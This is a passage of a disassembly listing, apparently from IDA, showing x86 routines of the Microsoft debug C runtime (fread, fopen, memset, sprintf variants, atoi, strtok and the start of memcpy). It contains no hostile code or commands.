[ebp+arg_C] push eax call sub_41F070 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41CE10 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_41F0E0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41CDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE10 proc near ; CODE XREF: sub_41CDD0+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_41CE39 xor eax, eax jmp loc_41CFDB ; --------------------------------------------------------------------------- loc_41CE39: ; CODE XREF: sub_41CE10+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_41CE54 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41CE5B ; --------------------------------------------------------------------------- loc_41CE54: ; CODE XREF: sub_41CE10+37j mov [ebp+var_1C], 1000h loc_41CE5B: ; CODE XREF: sub_41CE10+42j ; sub_41CE10:loc_41CFD3j cmp [ebp+var_C], 0 jz loc_41CFD8 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_41CEE9 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_41CEE9 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_41CE91 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41CE9A ; --------------------------------------------------------------------------- loc_41CE91: ; CODE XREF: sub_41CE10+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41CE9A: ; CODE XREF: sub_41CE10+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_41E840 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_41CFD3 ; --------------------------------------------------------------------------- loc_41CEE9: ; CODE XREF: sub_41CE10+63j ; sub_41CE10+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41CF8E cmp [ebp+var_1C], 0 jz short loc_41CF0D mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_41CF13 ; --------------------------------------------------------------------------- loc_41CF0D: ; CODE XREF: sub_41CE10+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_41CF13: ; CODE XREF: sub_41CE10+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_424040 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41CF58 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41CFDB ; --------------------------------------------------------------------------- loc_41CF58: ; CODE XREF: sub_41CE10+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41CF7A mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41CFDB ; --------------------------------------------------------------------------- loc_41CF7A: ; CODE XREF: sub_41CE10+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_41CFD3 ; --------------------------------------------------------------------------- loc_41CF8E: ; CODE XREF: sub_41CE10+DFj mov eax, [ebp+arg_C] push eax call sub_423E50 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41CFB0 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41CFDB ; --------------------------------------------------------------------------- loc_41CFB0: ; CODE XREF: sub_41CE10+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_41CFD3: ; CODE XREF: sub_41CE10+D4j ; sub_41CE10+17Cj jmp loc_41CE5B ; --------------------------------------------------------------------------- loc_41CFD8: ; CODE XREF: sub_41CE10+4Fj mov eax, [ebp+arg_8] loc_41CFDB: ; CODE XREF: sub_41CE10+24j ; sub_41CE10+143j ... mov esp, ebp pop ebp retn sub_41CE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFE0 proc near ; CODE XREF: sub_41D0E0+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_41CFE9: ; CODE XREF: sub_41CFE0+31j cmp [ebp+arg_0], 0 jnz short loc_41D00D push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D00D int 3 ; Trap to Debugger loc_41D00D: ; CODE XREF: sub_41CFE0+Dj ; sub_41CFE0+2Aj xor eax, eax test eax, eax jnz short loc_41CFE9 loc_41D013: ; CODE XREF: sub_41CFE0+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_41D03B push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D03B int 3 ; Trap to Debugger loc_41D03B: ; CODE XREF: sub_41CFE0+3Bj ; sub_41CFE0+58j xor eax, eax test eax, eax jnz short loc_41D013 loc_41D041: ; CODE XREF: sub_41CFE0+89j cmp [ebp+arg_4], 0 jnz short loc_41D065 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D065 int 3 ; Trap to Debugger loc_41D065: ; CODE XREF: sub_41CFE0+65j ; sub_41CFE0+82j xor ecx, ecx test ecx, ecx jnz short loc_41D041 loc_41D06B: ; CODE XREF: sub_41CFE0+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_41D093 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D093 int 3 ; Trap to Debugger loc_41D093: ; CODE XREF: sub_41CFE0+93j ; sub_41CFE0+B0j xor ecx, ecx test ecx, ecx jnz short loc_41D06B call sub_4248B0 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41D0AB xor eax, eax jmp short loc_41D0D5 ; --------------------------------------------------------------------------- loc_41D0AB: ; CODE XREF: sub_41CFE0+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_424520 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_41F0E0 add esp, 4 mov eax, [ebp+var_8] loc_41D0D5: ; CODE XREF: sub_41CFE0+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CFE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0E0 proc near ; CODE XREF: seg000:004010DBp ; seg000:00405507p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41CFE0 add esp, 0Ch pop ebp retn sub_41D0E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D100 proc near ; CODE XREF: seg000:00401222p ; seg000:00401230p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41D153 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41D147 neg ecx and ecx, 3 jz short loc_41D129 sub edx, ecx loc_41D123: ; CODE XREF: sub_41D100+27j mov [edi], al inc edi dec ecx jnz short loc_41D123 loc_41D129: ; CODE XREF: sub_41D100+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41D147 rep stosd test edx, edx jz short loc_41D14D loc_41D147: ; CODE XREF: sub_41D100+18j ; sub_41D100+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41D147 loc_41D14D: ; CODE XREF: sub_41D100+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41D153: ; CODE XREF: sub_41D100+Aj mov eax, [esp+arg_0] retn sub_41D100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near ; CODE XREF: sub_401417+1Cp ; sub_41621B+19p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_41D16F: ; CODE XREF: sub_41D160+37j cmp [ebp+arg_0], 0 jnz short loc_41D193 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D193 int 3 ; Trap to Debugger loc_41D193: ; CODE XREF: sub_41D160+13j ; sub_41D160+30j xor ecx, ecx test ecx, ecx jnz short loc_41D16F loc_41D199: ; CODE XREF: sub_41D160+61j cmp [ebp+arg_8], 0 jnz short loc_41D1BD push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D1BD int 3 ; Trap to Debugger loc_41D1BD: ; CODE XREF: sub_41D160+3Dj ; sub_41D160+5Aj xor edx, edx test edx, edx jnz short loc_41D199 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_424CB0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_41D238 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_41D249 ; --------------------------------------------------------------------------- loc_41D238: ; CODE XREF: sub_41D160+B4j mov edx, [ebp+var_24] push edx push 0 call sub_424A30 add esp, 8 mov [ebp+var_2C], eax loc_41D249: ; CODE XREF: sub_41D160+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D260 proc near ; CODE XREF: sub_40145D+5Ep ; sub_40216A+2Ep ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_41D275: ; CODE XREF: sub_41D260+3Dj cmp [ebp+arg_0], 0 jnz short loc_41D299 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D299 int 3 ; Trap to Debugger loc_41D299: ; CODE XREF: sub_41D260+19j ; sub_41D260+36j xor edx, edx test edx, edx jnz short loc_41D275 loc_41D29F: ; CODE XREF: sub_41D260+67j cmp [ebp+arg_4], 0 jnz short loc_41D2C3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D2C3 int 3 ; Trap to Debugger loc_41D2C3: ; CODE XREF: sub_41D260+43j ; sub_41D260+60j xor eax, eax test eax, eax jnz short loc_41D29F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov dword ptr [eax+4], 7FFFFFFFh mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_24] push eax call sub_424CB0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_41D33F mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_30], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_41D350 ; --------------------------------------------------------------------------- loc_41D33F: ; CODE XREF: sub_41D260+BBj mov edx, [ebp+var_24] push edx push 0 call sub_424A30 add esp, 8 mov [ebp+var_30], eax loc_41D350: ; CODE XREF: sub_41D260+DDj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D360 proc near ; CODE XREF: sub_40145D+42p ; seg000:00404949p ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_C] mov [ebp+var_2C], ecx loc_41D375: ; CODE XREF: sub_41D360+3Dj cmp [ebp+arg_0], 0 jnz short loc_41D399 push offset aStringNull ; "string != NULL" push 0 push 5Dh push offset aSprintf_c ; "sprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D399 int 3 ; Trap to Debugger loc_41D399: ; CODE XREF: sub_41D360+19j ; sub_41D360+36j xor edx, edx test edx, edx jnz short loc_41D375 loc_41D39F: ; CODE XREF: sub_41D360+67j cmp [ebp+arg_8], 0 jnz short loc_41D3C3 push offset aFormatNull ; "format != NULL" push 0 push 5Eh push offset aSprintf_c ; "sprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41D3C3 int 3 ; Trap to Debugger loc_41D3C3: ; CODE XREF: sub_41D360+43j ; sub_41D360+60j xor eax, eax test eax, eax jnz short loc_41D39F mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 42h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_24] push ecx call sub_424CB0 add esp, 0Ch mov [ebp+var_28], eax mov edx, [ebp+var_24] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_24] cmp dword ptr [edx+4], 0 jl short loc_41D43E mov eax, [ebp+var_24] mov ecx, [eax] mov byte ptr [ecx], 0 xor edx, edx and edx, 0FFh mov [ebp+var_30], edx mov eax, [ebp+var_24] mov ecx, [eax] add ecx, 1 mov edx, [ebp+var_24] mov [edx], ecx jmp short loc_41D44F ; --------------------------------------------------------------------------- loc_41D43E: ; CODE XREF: sub_41D360+BAj mov eax, [ebp+var_24] push eax push 0 call sub_424A30 add esp, 8 mov [ebp+var_30], eax loc_41D44F: ; CODE XREF: sub_41D360+DCj mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D460 proc near ; CODE XREF: sub_41D560+7p ; seg000:0042F051p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_41D466: ; CODE XREF: sub_41D460+4Ej cmp ds:dword_44FD20, 1 jle short loc_41D486 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_423D90 add esp, 8 mov [ebp+var_10], eax jmp short loc_41D49F ; --------------------------------------------------------------------------- loc_41D486: ; CODE XREF: sub_41D460+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_41D49F: ; CODE XREF: sub_41D460+24j cmp [ebp+var_10], 0 jz short loc_41D4B0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_41D466 ; --------------------------------------------------------------------------- loc_41D4B0: ; CODE XREF: sub_41D460+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_41D4D5 cmp [ebp+var_4], 2Bh jnz short loc_41D4E8 loc_41D4D5: ; CODE XREF: sub_41D460+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_41D4E8: ; CODE XREF: sub_41D460+73j mov [ebp+var_8], 0 loc_41D4EF: ; CODE XREF: sub_41D460+E9j cmp ds:dword_44FD20, 1 jle short loc_41D50B push 4 mov edx, [ebp+var_4] push edx call sub_423D90 add esp, 8 mov [ebp+var_14], eax jmp short loc_41D520 ; --------------------------------------------------------------------------- loc_41D50B: ; CODE XREF: sub_41D460+96j mov eax, [ebp+var_4] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_41D520: ; CODE XREF: sub_41D460+A9j cmp [ebp+var_14], 0 jz short loc_41D54B mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_41D4EF ; --------------------------------------------------------------------------- loc_41D54B: ; CODE XREF: sub_41D460+C4j cmp [ebp+var_C], 2Dh jnz short loc_41D558 mov eax, [ebp+var_8] neg eax jmp short loc_41D55B ; --------------------------------------------------------------------------- loc_41D558: ; CODE XREF: sub_41D460+EFj mov eax, [ebp+var_8] loc_41D55B: ; CODE XREF: sub_41D460+F6j mov esp, ebp pop ebp retn sub_41D460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D560 proc near ; CODE XREF: seg000:004024A9p ; seg000:004024C5p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41D460 add esp, 4 pop ebp retn sub_41D560 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_41D587: ; CODE XREF: seg000:0041D5CFj cmp ds:dword_44FD20, 1 jle short loc_41D5A7 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_423D90 add esp, 8 mov [ebp-14h], eax jmp short loc_41D5C0 ; --------------------------------------------------------------------------- loc_41D5A7: ; CODE XREF: seg000:0041D58Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_41D5C0: ; CODE XREF: seg000:0041D5A5j cmp dword ptr [ebp-14h], 0 jz short loc_41D5D1 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_41D587 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: seg000:0041D5C4j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_41D5F6 cmp dword ptr [ebp-4], 2Bh jnz short loc_41D609 loc_41D5F6: ; CODE XREF: seg000:0041D5EEj mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_41D609: ; CODE XREF: seg000:0041D5F4j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_41D617: ; CODE XREF: seg000:0041D687j cmp ds:dword_44FD20, 1 jle short loc_41D633 push 4 mov edx, [ebp-4] push edx call sub_423D90 add esp, 8 mov [ebp-18h], eax jmp short loc_41D648 ; --------------------------------------------------------------------------- loc_41D633: ; CODE XREF: seg000:0041D61Ej mov eax, [ebp-4] mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_41D648: ; CODE XREF: seg000:0041D631j cmp dword ptr [ebp-18h], 0 jz short loc_41D689 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_420380 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_41D617 ; --------------------------------------------------------------------------- loc_41D689: ; CODE XREF: seg000:0041D64Cj cmp dword ptr [ebp-10h], 2Dh jnz short loc_41D69E mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_41D6A4 ; --------------------------------------------------------------------------- loc_41D69E: ; CODE XREF: seg000:0041D68Dj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_41D6A4: ; CODE XREF: seg000:0041D69Cj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6B0 proc near ; CODE XREF: seg000:0040249Cp ; seg000:004024B9p ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_425C30 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_41D6D6 ; --------------------------------------------------------------------------- loc_41D6CD: ; CODE XREF: sub_41D6B0+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41D6D6: ; CODE XREF: sub_41D6B0+1Bj cmp [ebp+var_C], 20h jge short loc_41D6E6 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_41D6CD ; --------------------------------------------------------------------------- loc_41D6E6: ; CODE XREF: sub_41D6B0+2Aj ; sub_41D6B0+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_41D6E6 cmp [ebp+arg_0], 0 jz short loc_41D739 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_41D742 ; --------------------------------------------------------------------------- loc_41D739: ; CODE XREF: sub_41D6B0+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_41D742: ; CODE XREF: sub_41D6B0+87j ; sub_41D6B0+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_41D781 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_41D781 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_41D742 ; --------------------------------------------------------------------------- loc_41D781: ; CODE XREF: sub_41D6B0+B9j ; sub_41D6B0+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_41D792 ; --------------------------------------------------------------------------- loc_41D789: ; CODE XREF: sub_41D6B0:loc_41D7D7j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41D792: ; CODE XREF: sub_41D6B0+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_41D7D9 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_41D7D7 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41D7D9 ; --------------------------------------------------------------------------- loc_41D7D7: ; CODE XREF: sub_41D6B0+114j jmp short loc_41D789 ; --------------------------------------------------------------------------- loc_41D7D9: ; CODE XREF: sub_41D6B0+EBj ; sub_41D6B0+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_41D7EE xor eax, eax jmp short loc_41D7F1 ; --------------------------------------------------------------------------- loc_41D7EE: ; CODE XREF: sub_41D6B0+138j mov eax, [ebp+arg_0] loc_41D7F1: ; CODE XREF: sub_41D6B0+13Cj mov esp, ebp pop ebp retn sub_41D6B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D800 proc near ; CODE XREF: seg000:0040248Ep ; sub_402D46+98p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41D883 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41D824 shr 